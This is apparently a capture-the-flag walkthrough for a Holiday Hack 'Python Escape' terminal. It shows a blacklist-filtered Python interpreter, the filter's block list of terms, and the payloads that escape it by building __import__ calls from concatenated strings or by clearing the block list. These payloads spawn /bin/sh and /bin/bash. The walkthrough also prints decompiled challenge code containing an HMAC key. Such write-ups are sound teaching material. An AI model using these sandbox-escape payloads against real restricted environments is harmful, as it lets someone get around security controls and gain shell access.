Python Escape from LA

Cranberry Pi #3
Balcony

Hi, I'm SugarPlum Mary.

I'm glad you're here; my terminal is trapped inside a python! Or maybe my python is trapped inside a terminal?
Can you please help me by escaping from the Python interpreter?

               :lllllllllllllllllllllllllllllllllllllllll,                      
               'lllllllllllllllllllllllllllllllllllllllll:                      
                clllllllllllllllllllllllllllllllllllllllll.                     
                'lllllllllllllllllllllllllllllllllllllllll:                     
                 ;lllllllllllllllllllllllllllllllllllllllll,                    
                  :lllllllllllllllllllllllllllllllllllllllll.                   
                   :lllllllllllllllllllllllllllllllllllllllll.                  
                    ;lllllllllllllllllllllllllllllllllllllllll'                 
                     'lllllllllllllllllllllllllllllllllllllllll;                
                      .cllllllllllllllllllllllllllllllllllllllllc.              
                      .:llllllllllllllllllllllllllllllllllllllllllc,.           
                   .:llllllllllllllllllllllllllllllllllllllllllllllll;.         
                .,cllllllllllllllllllllllllllllllllllllllllllllllllllll,        
              .;llllllllllllllllllllllllllllllllllllllllllllllllllllllllc.      
             ;lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc.     
           'llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc     
          :lllllll:..,..'cllllllllllllllllllllllc'.,'.'clllllllllllllllllll;    
        .clllllll'  :XK.  :llllllllllllllllllll;  ,XX.  ;lllllllllllllllllll.   
       .cllllllll.  oXX'  ,llllllllllllllllllll.  cXX;  .lllllllllllllllllll'   
       clllllllll;  .xl  .cllllllllllllllllllllc.  do  .clllllllllllllllllll,   
      :llllllllllll;'..':llllllllllllllllllllllll:'..':lllllllllllllllllllll'   
     .llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.   
     ;lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc    
     clllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.    
     cllllllllllllllllllllllllll..;lc..:llllllllllllllllllllllllllllllllll;     
     :lllllllllllllllllllllllll:  .l,  .lllllllllllllllllllllllllllllllll:      
     ,lllllllllllllllllllllllllc  .l;  ,llllllllllllllllllllllllllllllll:       
     .llllllllllllllllllllllllllc;lll::llllllllllllllllllllllllllllllll,        
      'llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc.         
       ,llllllllllllllllllllllllllllllllllllllllllllllllllllllllllll,           
        'llllllllllllllllcccccccc;',.,clllllllllllllllllllllllllll,             
         .cllllllc:::::;;,,,,'...':c:;...'',,;;;::::::lllllllllc,               
           'cllllc::;::::cccccccccllc,,,,,,,'',:::::::lllllll;.                 
             .:llllllllllkMMMMMMMMMdlclllllllllollllllllll;.                    
               .':lllllllXMMMMMMMMMoloWMMMMMMMMXllllll:,.                       
                   .,:llccccccccccllllXMMMMMMMMWl:;'.                           
                       .,,,,,,,,,,clll:::::::::;                                
                      'lllllllllc.    ',,,,,,,,.                                
                     lMMMMMMMMMW,    .ddddddddd.                                
                    kMMMMMMMMMX.     kMMMMMMMMK                                 
                   ':::::::::,      .NWWWWWWWW:                                 
                  ',,,,,,,,,.       .,,,,,,,,'                                  
                .oooooooooo.        ',,,,,,,,.                                  
               .NMMMMMMMMW;        cOOOOOOOOx                                   
               0MMMMMMMMMc         NMMMMMMMMk                                   
               ;;;;;;;;;'         .KKKKKKKKK:                                   
              .,,,,,,,,,           ,,,,,,,,,.                                   
              .ddddddddo           ',,,,,,,,.                                   
               XMMMMMMMN           cKKKKKKKKK.                                  
    .;:::;;,,,,,:ldddddd.           0MMMMMMMMX.       ....                      
      .,:ccccccccccccccc            'cccccccccc:::ccccc;.                       
         .:ccccccccccccc            .ccccccccccccccc:'.                         
           .;;;;;;;;;;;;            .ccccccccccccc;.                            
                                    ..............
I'm another elf in trouble,
Caught within this Python bubble.
 
Here I clench my merry elf fist -
Words get filtered by a black list!
 
Can't remember how I got stuck,
Try it - maybe you'll have more luck?
 
For this challenge, you are more fit.
Beat this challenge - Mark and Bag it!
 
-SugarPlum Mary
 
To complete this challenge, escape Python
and run ./i_escaped
Python Escape hint from SugarPlum Mary
Check out Mark Baggett's talk upstairs

To solve this challenge, blacklist filter must be bypassed. There are multiple ways how to achieve this and some of them are covered in Mark's talk, e.g.

a = eval('__im' + 'port__("os")')
a.system("sh")
One of the solutions can be found commented out in running code:
eval("__im"+"port__('p'+'ty').s"+"pawn('/bin/bash')")

But let's use a solution, which doesn't bypass the filter. Instead, disable the filter by simply clearing blacklisted terms.

locals().keys()
restricted_terms=[]
__import__("os").system("sh")

  ____        _   _                      
 |  _ \ _   _| |_| |__   ___  _ __       
 | |_) | | | | __| '_ \ / _ \| '_ \      
 |  __/| |_| | |_| | | | (_) | | | |     
 |_|___ \__, |\__|_| |_|\___/|_| |_| _ _ 
 | ____||___/___ __ _ _ __   ___  __| | |
 |  _| / __|/ __/ _` | '_ \ / _ \/ _` | |
 | |___\__ \ (_| (_| | |_) |  __/ (_| |_|
 |_____|___/\___\__,_| .__/ \___|\__,_(_)
                     |_|                             
 

That's some fancy Python hacking -
You have sent that lizard packing!
 
-SugarPlum Mary
            
You escaped! Congratulations!

Afterwards, chat with SugarPlum Mary:

SugarPlum Mary

Yay, you did it! You escaped from the Python!
As a token of my gratitude, I would like to share a rumor I had heard about Santa's new web-based packet analyzer - Packalyzer.
Another elf told me that Packalyzer was rushed and deployed with development code sitting in the web root.
Apparently, he found this out by looking at HTML comments left behind and was able to grab the server-side source code.
There was suspicious-looking development code using environment variables to store SSL keys and open up directories.
This elf then told me that manipulating values in the URL gave back weird and descriptive errors.
I'm hoping these errors can't be used to compromise SSL on the website and steal logins.
On a tooootally unrelated note, have you seen the HTTP2 talk at at KringleCon by the Chrises? I never knew HTTP2 was so different!

details

  • /bin/shell
  • This script is being run as PID 1 inside Docker container:

    USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    elf          1  0.1  0.0  33796 10916 pts/0    Ss   03:11   0:00 python3 /bin/shell

    Input is parsed against the list of blacklisted terms (line 104).
    One of the bypassing solutions is commented in code (line 106).

    def readfilter(*args,**kwargs):
        inline = input(*args,**kwargs)
        #warning: if any of your imports enable the blacklisted items you will expose the question to the test taker.
        for eachterm in whitelist:
            if inline.replace(" ","") == eachterm.replace(" ",""):
                return inline
        #warning: removing any of the following items from this list will likely expose the question.
        for eachterm in restricted_terms:
            if eachterm.replace(" ","") in inline.replace(" ",""):
                print("Use of the command {0} is prohibited for this question.".format(eachterm))
                return ""
        return inline
    
    whitelist = []
    
    if __name__ == "__main__":
        restricted_terms = ['import','pty', 'open','exec',"compile", "os.system", "subprocess.", "reload", "__builtins__" ,"__class__","__mro__" ]
        code.interact(banner=banner, readfunc=readfilter, local=locals())
        #eval("__im"+"port__('p'+'ty').s"+"pawn('/bin/bash')")

  • decompiled i_escaped.py from i_escaped (read about decompilation process in Cranberry Pi hacks)
  • There is a superb check 1==1 (line 48) or no check at all; depends how one looks at it.
    There is this challenge's HMAC key 09f90c21d59845a7b0c972b8e871e8fe (used to verify challenge completion).
    Some debugging code is still lingering in source. Also, there is some dead code (lines 28, 37-38, 53-54), probably, due to using copy-and-paste programming.

    import json, sys, os, time, signal
    from hashlib import sha256
    import hmac
    
    def calcHmac(secret, resourceId):
        return hmac.new(secret.encode('utf8'), resourceId.encode('utf8'), sha256).hexdigest()
    
    
    def printResponse(hash, resourceId):
        print('#####hhc:%s#####' % json.dumps({'hash': hash, 'resourceId': resourceId}))
    
    
    def signal_handler(signal, frame):
        print('')
        sys.exit(0)
    
    
    def errorandexit(msg2):
        error = "\nI'm very sorry, but we seem to have an internal issue preventing the successful\ncompletion of this challenge. Please email support@holidayhackchallenge.com with\na screen-shot or any other details you can provide. Thank you!\n\n"
        print(error)
        if msg2 != '':
            print(msg2)
        sys.exit(-1)
    
    
    if __name__ == '__main__':
        debuggin = False
        r = None
        signal.signal(signal.SIGINT, signal_handler)
    try:
        RESOURCEID = os.environ.get('RESOURCE_ID')
        if RESOURCEID == '' or RESOURCEID == None:
            errorandexit('Unable to obtain resource ID information.')
        if debuggin:
            print('\nRESOURCEID = ' + RESOURCEID)
        key = '09f90c21d59845a7b0c972b8e871e8fe'
        h = hmac.new(key.encode('utf8'), RESOURCEID.encode('utf8'), sha256)
        payload = {'hash': h.hexdigest(), 'resourceid': RESOURCEID}
        sys.stdout.write('Loading, please wait.')
        sys.stdout.flush()
        for i in range(0, 5):
            if not debuggin:
                time.sleep(1)
            sys.stdout.write('.')
            sys.stdout.flush()
    
        print('\n')
        if 1 == 1:
            hmac256 = calcHmac(key, RESOURCEID)
            printResponse(hmac256, RESOURCEID)
            time.sleep(0.5)
            print(" \x1b[32m\n  ____        _   _                      \n |  _ \\ _   _| |_| |__   ___  _ __       \n | |_) | | | | __| '_ \\ / _ \\| '_ \\      \n |  __/| |_| | |_| | | | (_) | | | |     \n |_|___ \\__, |\\__|_| |_|\\___/|_| |_| _ _ \n | ____||___/___ __ _ _ __   ___  __| | |\n |  _| / __|/ __/ _` | '_ \\ / _ \\/ _` | |\n | |___\\__ \\ (_| (_| | |_) |  __/ (_| |_|\n |_____|___/\\___\\__,_| .__/ \\___|\\__,_(_)\n                     |_|                             \n\n\x1b[91m\nThat's some fancy Python hacking -\nYou have sent that lizard packing!\n\x1b[92m\n-SugarPlum Mary\n            \nYou escaped! Congratulations!\n")
        else:
            print("Sorry, I don't think that is correct answer.")
    except Exception as e:
        errorandexit(str(e))
        sys.exit(0)